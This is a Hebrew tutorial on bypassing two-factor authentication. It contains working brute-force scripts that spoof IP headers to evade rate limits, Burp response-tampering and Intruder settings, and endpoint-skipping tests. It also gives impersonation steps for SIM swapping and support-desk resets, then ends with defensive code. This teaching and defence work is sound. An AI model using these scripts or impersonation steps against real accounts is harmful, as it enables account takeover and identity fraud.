עקיפת אימות דו-שלבי - 2FA Bypass¶
מבוא¶
אימות דו-שלבי (Two-Factor Authentication) מוסיף שכבת אבטחה נוספת מעבר לסיסמה. למרות שזה משפר משמעותית את האבטחה, הטמעות לקויות מאפשרות לתוקפים לעקוף את ה-2FA. בשיעור זה נלמד את שיטות התקיפה המתקדמות נגד מנגנוני 2FA שונים.
סקירת מנגנוני 2FA¶
TOTP - סיסמה חד-פעמית מבוססת זמן¶
- אפליקציות כמו Google Authenticator, Authy
- מבוסס על סוד משותף וזמן נוכחי
- קוד בן 6 ספרות שמתחלף כל 30 שניות
- חלון תקינות של בדרך כלל 30-90 שניות
SMS OTP¶
אימות באמצעות דואר אלקטרוני¶
התראות Push¶
מפתחות חומרה - Hardware Tokens¶
תקיפה 1: מניפולציית תגובה - Response Manipulation¶
הרקע¶
שרתים מסוימים בודקים את קוד ה-2FA ומחזירים תגובה שמציינת אם הוא נכון. אם האפליקציה מסתמכת על בדיקת התגובה בצד הלקוח, ניתן לשנות אותה.
תרחיש¶
# שליחת קוד 2FA שגוי
POST /verify-2fa HTTP/1.1
Host: target.com
Content-Type: application/json
{"code": "000000"}
# תגובת השרת - כישלון
HTTP/1.1 200 OK
{"success": false, "message": "Invalid code"}
# שינוי התגובה ב-Burp:
HTTP/1.1 200 OK
{"success": true, "message": "Valid code"}
הגדרת Burp לשינוי אוטומטי¶
1. Proxy -> Options -> Match and Replace
2. הוסיפו כלל:
Type: Response body
Match: "success": false
Replace: "success": true
3. כלל נוסף:
Type: Response header
Match: HTTP/1.1 403
Replace: HTTP/1.1 200
וריאציות נוספות¶
# שינוי status code
HTTP/1.1 403 Forbidden -> HTTP/1.1 200 OK
# שינוי redirect
Location: /2fa-failed -> Location: /dashboard
# שינוי ערך boolean
{"verified": false} -> {"verified": true}
{"error": true} -> {"error": false}
# שינוי error code
{"errorCode": 401} -> {"errorCode": 0}
תקיפה 2: כוח גס עם עקיפת הגבלת קצב - Brute Force with Rate Limit Bypass¶
הרקע¶
קוד 2FA הוא בדרך כלל 4-6 ספרות, מה שנותן מרחב של 10,000 עד 1,000,000 אפשרויות. אם אין הגבלת קצב יעילה, ניתן לנסות את כולן.
עקיפת הגבלת קצב באמצעות כותרות HTTP¶
# הגבלת קצב מבוססת IP - נסו לשנות את כתובת ה-IP הנראית
POST /verify-2fa HTTP/1.1
Host: target.com
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
CF-Connecting-IP: 1.2.3.4
True-Client-IP: 1.2.3.4
X-Forwarded-Host: target.com
X-Remote-IP: 1.2.3.4
X-Remote-Addr: 1.2.3.4
{"code": "123456"}
סקריפט Brute Force עם סיבוב IP¶
import requests
import random
import time
def brute_force_2fa(target_url, session_cookie, code_length=6):
"""כוח גס על קוד 2FA עם סיבוב כתובות IP"""
max_code = 10 ** code_length
session = requests.Session()
session.cookies.set('session', session_cookie)
for code in range(max_code):
code_str = str(code).zfill(code_length)
# יצירת IP אקראי לעקיפת rate limit
fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
headers = {
'X-Forwarded-For': fake_ip,
'X-Real-IP': fake_ip,
'Content-Type': 'application/json'
}
resp = session.post(
target_url,
json={"code": code_str},
headers=headers,
allow_redirects=False
)
# בדיקת הצלחה
if resp.status_code == 302 and '/dashboard' in resp.headers.get('Location', ''):
print(f"[+] קוד נמצא: {code_str}")
return code_str
if resp.status_code == 429: # Too Many Requests
print(f"[-] נחסמנו ב-{code_str}, ממתין...")
time.sleep(5)
# הדפסת התקדמות
if code % 1000 == 0:
print(f"[*] נבדקו {code} קודים...")
print("[-] לא מצאנו את הקוד")
return None
טכניקות נוספות לעקיפת Rate Limit¶
# שיטה 1: שינוי User-Agent
user_agents = [
"Mozilla/5.0 (Windows NT 10.0)",
"Mozilla/5.0 (Macintosh)",
"Mozilla/5.0 (Linux)",
# ...
]
# שיטה 2: שינוי פורמט הבקשה
# JSON vs URL-encoded vs XML
data_formats = [
('application/json', '{"code": "123456"}'),
('application/x-www-form-urlencoded', 'code=123456'),
('application/xml', '<code>123456</code>'),
]
# שיטה 3: הוספת רווחים/תווים לקוד
# "123456" vs "123456 " vs " 123456" vs "123456\n"
תקיפה 3: כוח גס על קודי גיבוי - Backup Code Brute Forcing¶
הרקע¶
אפליקציות מנפיקות קודי גיבוי למקרה שאין גישה ל-2FA. קודים אלו לעיתים קצרים יותר או שאין עליהם הגבלת קצב.
תרחיש¶
# בקשה רגילה עם קוד 2FA
POST /verify-2fa HTTP/1.1
Content-Type: application/json
{"code": "123456", "type": "totp"}
# בקשה עם קוד גיבוי - לעיתים ללא rate limit
POST /verify-2fa HTTP/1.1
Content-Type: application/json
{"code": "abc123", "type": "backup"}
כוח גס על קודי גיבוי¶
import itertools
import string
import requests
def brute_force_backup_codes(target_url, session_cookie):
"""כוח גס על קודי גיבוי"""
session = requests.Session()
session.cookies.set('session', session_cookie)
# קודי גיבוי נפוצים: 8 ספרות
for code in range(10**8):
code_str = str(code).zfill(8)
resp = session.post(target_url, json={
"code": code_str,
"type": "backup"
})
if "success" in resp.text or resp.status_code == 302:
print(f"[+] קוד גיבוי: {code_str}")
return code_str
return None
תקיפה 4: ניצול חלון זמן TOTP - TOTP Time Window Exploitation¶
הרקע¶
קודי TOTP תקפים לחלון זמן מסוים (בדרך כלל 30 שניות). שרתים רבים מקבלים קודים מחלון הזמן הקודם והבא גם כן, מה שמרחיב את חלון התקיפה.
ניצול¶
import pyotp
import time
def analyze_totp_window(target_url, session_cookie):
"""ניתוח חלון הזמן של TOTP"""
session = requests.Session()
session.cookies.set('session', session_cookie)
# יצירת קודים לחלונות זמן שונים
# נניח שיש לנו את הסוד (למשל מ-QR code שצילמנו)
totp = pyotp.TOTP("BASE32SECRET")
current_time = int(time.time())
# בדיקת קודים מחלונות זמן שונים
for offset in range(-5, 6): # 5 חלונות לפני ואחרי
test_time = current_time + (offset * 30)
code = totp.at(test_time)
resp = session.post(target_url, json={"code": code})
status = "ACCEPTED" if resp.status_code == 200 else "REJECTED"
print(f" חלון {offset:+d} ({test_time}): {code} -> {status}")
שימוש חוזר בקוד¶
# בדיקה: האם ניתן להשתמש באותו קוד פעמיים?
# שליחה ראשונה
POST /verify-2fa HTTP/1.1
{"code": "123456"}
# תגובה: 200 OK
# שליחה שנייה מיידית עם אותו קוד
POST /verify-2fa HTTP/1.1
{"code": "123456"}
# אם 200 OK -> קוד ניתן לשימוש חוזר!
תקיפה 5: גישה ישירה לנקודות קצה - Direct Endpoint Access¶
הרקע¶
אפליקציות מסוימות בודקות 2FA רק בזרימת ההתחברות הרגילה, אך לא מגנות על נקודות קצה אחרות. ניתן לדלג על שלב ה-2FA על ידי ניווט ישיר.
תרחיש¶
# זרימה רגילה:
# 1. POST /login -> 302 /2fa
# 2. POST /2fa -> 302 /dashboard
# תקיפה: דילוג על שלב 2
# 1. POST /login -> 302 /2fa
# 2. במקום לפנות ל-/2fa, ניגש ישירות ל-/dashboard
GET /dashboard HTTP/1.1
Cookie: session=VALID_SESSION_AFTER_PASSWORD
# אם עובד -> ה-2FA ניתן לדילוג!
בדיקה שיטתית¶
import requests
def test_2fa_bypass(target_base, session_cookie):
"""בדיקת עקיפת 2FA על ידי גישה ישירה"""
session = requests.Session()
session.cookies.set('session', session_cookie)
# רשימת נקודות קצה לבדיקה
endpoints = [
'/dashboard',
'/profile',
'/settings',
'/api/user',
'/api/admin',
'/account',
'/home',
'/admin',
'/api/v1/me',
'/api/v2/user/profile',
]
print("[*] בודק גישה ישירה לנקודות קצה...")
for endpoint in endpoints:
resp = session.get(
f"{target_base}{endpoint}",
allow_redirects=False
)
if resp.status_code == 200:
print(f"[+] גישה התקבלה ל: {endpoint}")
elif resp.status_code == 302:
location = resp.headers.get('Location', '')
if '2fa' not in location.lower() and 'login' not in location.lower():
print(f"[+] הפניה לא ל-2FA: {endpoint} -> {location}")
else:
print(f"[-] נחסם: {endpoint} ({resp.status_code})")
שינוי זרימה¶
# בדיקות נוספות:
# שינוי ה-cookie לאחר שלב הסיסמה
# חלק מהאפליקציות מסמנות ב-cookie שנדרש 2FA
Cookie: session=abc123; 2fa_required=true
# שנו ל:
Cookie: session=abc123; 2fa_required=false
# שינוי ה-role ב-cookie
Cookie: session=abc123; verified=0
# שנו ל:
Cookie: session=abc123; verified=1
# בדיקת parameter tampering
POST /2fa-check HTTP/1.1
{"code": "000000", "skip": true}
תקיפה 6: קיבוע סשן לאחר 2FA - Session Fixation After 2FA¶
הרקע¶
אם השרת לא מחליף את ה-session ID לאחר אימות 2FA מוצלח, ניתן לבצע session fixation.
תרחיש¶
# שלב 1: התוקף מקבל session ID
GET / HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
Set-Cookie: session=KNOWN_SESSION_ID
# שלב 2: התוקף מזריק את ה-session ID לקורבן
# (באמצעות XSS, subdomain cookie, וכו')
# שלב 3: הקורבן מתחבר עם הסיסמה ועם 2FA
# אם ה-session ID לא משתנה -> התוקף משתמש באותו session
# בדיקה:
# 1. רשמו את ה-session ID לפני 2FA
# 2. בצעו 2FA מוצלח
# 3. בדקו אם ה-session ID השתנה
# אם לא השתנה -> חולשת session fixation
תקיפה 7: שימוש חוזר בקוד 2FA - Code Reuse¶
הרקע¶
קודים חד-פעמיים אמורים להיות תקפים לשימוש אחד בלבד. אם השרת לא מבטל אותם לאחר שימוש, ניתן להשתמש בהם שוב.
בדיקה¶
import requests
def test_code_reuse(target_url, session_cookie, valid_code):
"""בדיקת שימוש חוזר בקוד 2FA"""
session = requests.Session()
session.cookies.set('session', session_cookie)
# שימוש ראשון
resp1 = session.post(target_url, json={"code": valid_code})
print(f"[*] שימוש ראשון: {resp1.status_code}")
# ניתוק
session.get(f"{target_url.rsplit('/', 1)[0]}/logout")
# התחברות מחדש
session.post(f"{target_url.rsplit('/', 1)[0]}/login", json={
"username": "victim",
"password": "password"
})
# שימוש שני באותו קוד
resp2 = session.post(target_url, json={"code": valid_code})
print(f"[*] שימוש שני: {resp2.status_code}")
if resp2.status_code == 200:
print("[+] קוד ניתן לשימוש חוזר!")
else:
print("[-] קוד בוטל לאחר שימוש")
תקיפה 8: הנדסה חברתית על איפוס 2FA - Social Engineering¶
הרקע¶
רוב השירותים מציעים תהליך איפוס 2FA למשתמשים שאיבדו גישה. תהליך זה עצמו עלול להיות חולשה.
תרחישי תקיפה¶
1. פנייה לתמיכה עם פרטי הקורבן
- "איבדתי את הטלפון ואני לא מצליח להתחבר"
- תמיכה מבטלת 2FA ומאפשרת התחברות עם סיסמה בלבד
2. שאלות אבטחה חלשות
- תהליך האיפוס דורש תשובה לשאלת אבטחה
- תשובות ניתנות לגילוי מרשתות חברתיות
3. איפוס דרך מייל
- שליחת לינק איפוס 2FA למייל
- אם יש גישה למייל (מפישינג) -> איפוס 2FA
תקיפה 9: החלפת SIM עבור 2FA מבוסס SMS - SIM Swapping¶
הרקע¶
ב-SIM swapping, התוקף משכנע את חברת הסלולר להעביר את מספר הטלפון של הקורבן ל-SIM חדש.
שלבי התקיפה¶
1. איסוף מידע אישי על הקורבן
- שם מלא, כתובת, מספר זהות
- ניתן לקבל ממאגרי נתונים שדלפו
2. פנייה לחברת הסלולר
- התחזות לקורבן
- בקשה להחלפת SIM "כי הטלפון נגנב"
3. קבלת SMS של הקורבן
- כל הודעות ה-SMS מגיעות ל-SIM החדש
- כולל קודי 2FA
4. התחברות לחשבון
- שימוש בסיסמה (ידועה או מאופסת)
- קבלת קוד 2FA דרך ה-SIM
הגדרת Burp Intruder לכוח גס על 2FA¶
הגדרת התקיפה¶
1. יירטו בקשת אימות 2FA ושלחו ל-Intruder
2. הגדרות Position:
POST /verify-2fa HTTP/1.1
Host: target.com
Cookie: session=abc123
{"code": "PAYLOAD_HERE"}
3. הגדרות Payload:
Payload type: Numbers
From: 0
To: 999999
Step: 1
Min integer digits: 6
Max integer digits: 6
4. הגדרות Resource Pool:
Maximum concurrent requests: 20
5. הגדרות Grep - Match:
הוסיפו מחרוזות שמציינות הצלחה:
- "dashboard"
- "success"
- "welcome"
6. הגדרות Grep - Extract:
חלצו את ה-status code ואת ה-Location header
טיפים ל-Intruder¶
- אם יש rate limit: הגדירו Throttle של 500ms בין בקשות
- אם יש חסימת IP: השתמשו ב-IP rotation (Burp Turbo Intruder)
- אם ה-session מתבטל: השתמשו ב-Macros לחידוש session
- סננו תוצאות לפי אורך התגובה - תגובת הצלחה בדרך כלל שונה בגודלה
סקריפט אוטומטי לבדיקת עקיפת 2FA¶
#!/usr/bin/env python3
"""
סקריפט מקיף לבדיקת עקיפת 2FA
"""
import requests
import json
import time
import random
class TwoFABypassTester:
def __init__(self, base_url, username, password):
self.base_url = base_url
self.username = username
self.password = password
self.session = requests.Session()
def login(self):
"""התחברות עם סיסמה בלבד"""
resp = self.session.post(f"{self.base_url}/login", json={
"username": self.username,
"password": self.password
}, allow_redirects=False)
return resp
def test_direct_access(self):
"""בדיקת גישה ישירה ללא 2FA"""
print("[*] בודק גישה ישירה...")
self.login()
endpoints = ['/dashboard', '/profile', '/api/user', '/admin']
for ep in endpoints:
resp = self.session.get(
f"{self.base_url}{ep}",
allow_redirects=False
)
if resp.status_code == 200:
print(f" [+] גישה ל-{ep} ללא 2FA!")
def test_response_manipulation(self):
"""בדיקת מניפולציית תגובה"""
print("[*] בודק מניפולציית תגובה...")
self.login()
resp = self.session.post(
f"{self.base_url}/verify-2fa",
json={"code": "000000"}
)
print(f" תגובה לקוד שגוי: {resp.status_code}")
print(f" גוף: {resp.text[:200]}")
if '"success"' in resp.text or '"verified"' in resp.text:
print(" [!] ניתן לבצע מניפולציית תגובה")
def test_code_reuse(self, valid_code):
"""בדיקת שימוש חוזר בקוד"""
print("[*] בודק שימוש חוזר בקוד...")
self.login()
# שימוש ראשון
resp1 = self.session.post(
f"{self.base_url}/verify-2fa",
json={"code": valid_code}
)
# ניתוק וחיבור מחדש
self.session.get(f"{self.base_url}/logout")
self.login()
# שימוש שני
resp2 = self.session.post(
f"{self.base_url}/verify-2fa",
json={"code": valid_code}
)
if resp2.status_code == 200:
print(" [+] קוד ניתן לשימוש חוזר!")
def test_brute_force_feasibility(self):
"""בדיקת אפשרות כוח גס"""
print("[*] בודק הגבלת קצב...")
self.login()
blocked = False
for i in range(20):
code = str(random.randint(0, 999999)).zfill(6)
resp = self.session.post(
f"{self.base_url}/verify-2fa",
json={"code": code}
)
if resp.status_code == 429:
print(f" [-] נחסמנו אחרי {i+1} ניסיונות")
blocked = True
break
if not blocked:
print(" [+] אין הגבלת קצב - כוח גס אפשרי!")
def run_all(self, valid_code=None):
"""הרצת כל הבדיקות"""
print(f"[*] מתחיל בדיקת 2FA bypass עבור {self.base_url}")
print("=" * 60)
self.test_direct_access()
self.test_response_manipulation()
self.test_brute_force_feasibility()
if valid_code:
self.test_code_reuse(valid_code)
print("=" * 60)
print("[*] הבדיקה הושלמה")
if __name__ == "__main__":
tester = TwoFABypassTester(
"https://target.com",
"username",
"password"
)
tester.run_all()
הגנות - Defenses¶
1. הגבלת קצב חזקה¶
from flask_limiter import Limiter
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/verify-2fa', methods=['POST'])
@limiter.limit("5 per minute") # מקסימום 5 ניסיונות בדקה
def verify_2fa():
code = request.json.get('code')
if verify_totp(code):
session.regenerate() # חידוש session
return redirect('/dashboard')
# נעילת חשבון לאחר 10 ניסיונות כושלים
increment_failed_attempts(current_user)
if get_failed_attempts(current_user) >= 10:
lock_account(current_user, duration=3600)
return jsonify({"error": "חשבון ננעל"}), 423
return jsonify({"error": "קוד שגוי"}), 401
2. ביטול קוד לאחר שימוש¶
used_codes = set() # בפרודקשן: Redis או DB
def verify_totp(user, code):
code_key = f"{user.id}:{code}"
if code_key in used_codes:
return False # קוד כבר שומש
if pyotp.TOTP(user.totp_secret).verify(code, valid_window=1):
used_codes.add(code_key)
return True
return False
3. אימות 2FA ברמת השרת¶
def require_2fa(f):
"""דקורטור שדורש 2FA מושלם"""
@wraps(f)
def decorated(*args, **kwargs):
if not session.get('2fa_verified'):
return redirect('/2fa')
return f(*args, **kwargs)
return decorated
@app.route('/dashboard')
@require_2fa
def dashboard():
return render_template('dashboard.html')
4. המלצות כלליות¶
- העדיפו TOTP על SMS
- דרשו מפתחות חומרה (FIDO2) לחשבונות רגישים
- בצעו rate limiting חזק על ניסיונות 2FA
- אימתו 2FA בצד השרת בלבד
- חדשו session לאחר 2FA מוצלח
- בטלו קודים לאחר שימוש יחיד
- נעלו חשבון לאחר מספר ניסיונות כושלים
- הגבילו את חלון הזמן של TOTP למינימום
- תעדו ניסיונות 2FA כושלים לצורכי ניטור
סיכום¶
עקיפת 2FA היא תחום רחב שמשלב טכניקות טכניות עם הנדסה חברתית. הנקודות המרכזיות:
- מניפולציית תגובה היא הפשוטה ביותר ולעיתים עובדת
- כוח גס עם עקיפת rate limit הוא יעיל נגד קודים קצרים
- גישה ישירה לנקודות קצה עוקפת 2FA לחלוטין כשהבדיקה לקויה
- שימוש חוזר בקודים ובדיקת חלון זמן הם בדיקות חובה
- ההגנה הטובה ביותר משלבת rate limiting חזק, ביטול קודים, ואימות בצד השרת